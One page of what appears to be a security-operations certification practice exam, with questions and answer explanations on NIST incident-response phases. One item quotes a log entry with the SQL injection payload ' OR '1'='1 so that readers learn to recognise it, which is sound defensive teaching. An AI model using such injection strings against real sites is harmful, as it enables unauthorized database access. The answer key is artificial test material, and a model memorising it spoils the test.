The security incident has been detected and verified, placing the immediate requirement in the containment phase.

Containment halts the expansion of an active threat and prevents further unauthorized access to internal resources.

Select the immediate containment control

Disabling the underlying network switch port disconnects the unauthorized rogue device from the internal network infrastructure.

Isolating the rogue access point stops network exposure immediately, enabling safe proceeding to eradication and recovery phases.

Anahtar Kavram

Incident Response Lifecycle Containment Phase

Soru 98Soru →

During a threat hunting exercise, a security analyst discovers an unauthorized scheduled cron job executing a reverse shell script on a critical internal server. The analyst immediately isolates the host from the network to prevent command-and-control communications. According to standard incident response playbooks, which of the following actions should the analyst perform NEXT?

Reconnect the server to the production network and monitor network traffic logs to confirm business operations are functioning normally.

Identify the initial entry vector, eliminate the persistent scripts, and patch the exploited vulnerability on the isolated server.

Convene a lessons-learned session with organizational leadership to update the incident response plan and document key performance indicators.

Update the risk management register to reclassify network isolation procedures as a deterrent security control.

Cevabı ve açıklamayı göster

Cevap: Identify the initial entry vector, eliminate the persistent scripts, and patch the exploited vulnerability on the isolated server.

Cevap

The analyst should proceed to the eradication phase by identifying the entry vector, removing persistent malicious scripts, and patching the underlying vulnerability on the isolated system.

In standard incident response frameworks (such as NIST SP 800-61), once containment is established by isolating the host, responders must transition to the Eradication phase. Eradication requires identifying how the attacker gained access, removing all malicious artifacts (such as the persistent cron job and scripts), and mitigating vulnerabilities so the system can be safely restored.

Adım Adım Çözüm

Identify the current incident response phase

Network isolation of the compromised host confirms that the Containment phase has just been executed.

Determining the active phase establishes the required sequential workflow under standard NIST/ISO incident response frameworks.

Determine the mandatory next phase in the lifecycle

The phase immediately following Containment is Eradication.

The incident response lifecycle follows a strict sequence: Preparation → Detection & Analysis → Containment → Eradication → Recovery → Post-Incident Activity.

Select the action corresponding to Eradication

Analyzing root cause, removing persistence mechanisms (cron job/scripts), and applying security patches represent core Eradication activities.

Eradication ensures that all traces of the threat actor and vulnerabilities are remediated before any attempt is made to restore normal operations.

Anahtar Kavram

Incident Response Lifecycle Phase Ordering (Containment to Eradication)

Soru 99Soru →

A security administrator is reviewing the following web server access log entry captured by a SIEM collector:

`192.168.1.45 - - [27/Jul/2026:14:15:30 +0000] "GET /products.php?id=1%27%20OR%20%271%27=%271 HTTP/1.1" 200 4520`

Which type of attack vector does this log entry indicate?

SQL Injection

Cross-Site Scripting (XSS)

Broken Authorization Control

SIEM Parsing Rule Failure

Cevabı ve açıklamayı göster

Cevap: SQL Injection

Cevap

SQL Injection

The HTTP GET log entry includes `%27%20OR%20%271%27=%271`, which decodes to `' OR '1'='1`. This syntax attempts to force an SQL database query to evaluate to true, signifying a classic SQL injection attack.

Adım Adım Çözüm

Examine the requested URI parameter in the web server log entry.

Identified URL-encoded string `%27%20OR%20%271%27=%271` in the `id` parameter.

URL decoding reveals SQL syntax: `' OR '1'='1`.

Determine the operational mechanism of the attack payload.

The payload forces a boolean TRUE condition (`'1'='1'`) within an SQL query filter.

This is a characteristic pattern of SQL injection aimed at bypassing query logic or extracting database records.

Anahtar Kavram

Identifying SQL Injection attack signatures in HTTP web server access logs

Tahmini Süre:45s

Soru 100Soru →

An organization is aligning its cybersecurity procedures with the NIST SP 800-61 incident response framework. Place the core phases of the incident response process in the correct chronological order from first to last.

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct chronological sequence of the incident response lifecycle is Preparation, followed by Detection and Analysis, then Containment, Eradication, and Recovery, and ending with Post-Incident Activity.

According to the NIST SP 800-61 framework, the incident response lifecycle progresses through four major phases: Preparation (setting up tools, policies, and teams), Detection and Analysis (identifying and investigating security events), Containment, Eradication, and Recovery (limiting impact, eliminating the threat, and restoring operations), and Post-Incident Activity (conducting lessons learned to refine future response).

Adım Adım Çözüm

Identify the foundational phase established prior to active incidents.

Preparation is identified as the first phase.

Security teams must develop playbooks, configure monitoring tools, and establish communication plans before a security event occurs.

Determine the phase initiated when anomalous activity or security alerts are reported.

Detection and Analysis is identified as the second phase.

Analysts must evaluate alerts, scope the impact, and validate whether an active breach or compromise is taking place.

Identify the active response and mitigation actions taken after confirmation of an incident.

Containment, Eradication, and Recovery is identified as the third phase.

Responders must limit damage by containing affected systems, eliminate root causes/malware, and securely restore services.

Determine the final phase following complete system restoration.

Post-Incident Activity is identified as the fourth phase.

Conducting lessons-learned analysis and updating documentation ensures continuous improvement of the organization's security posture.

Anahtar Kavram

NIST SP 800-61 Incident Response Lifecycle Phases

ÖncekiSayfa 5 / 32Sonraki

Security Operations

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram

Sık Yapılan Hatalar

Cevap

Adım Adım Çözüm

Anahtar Kavram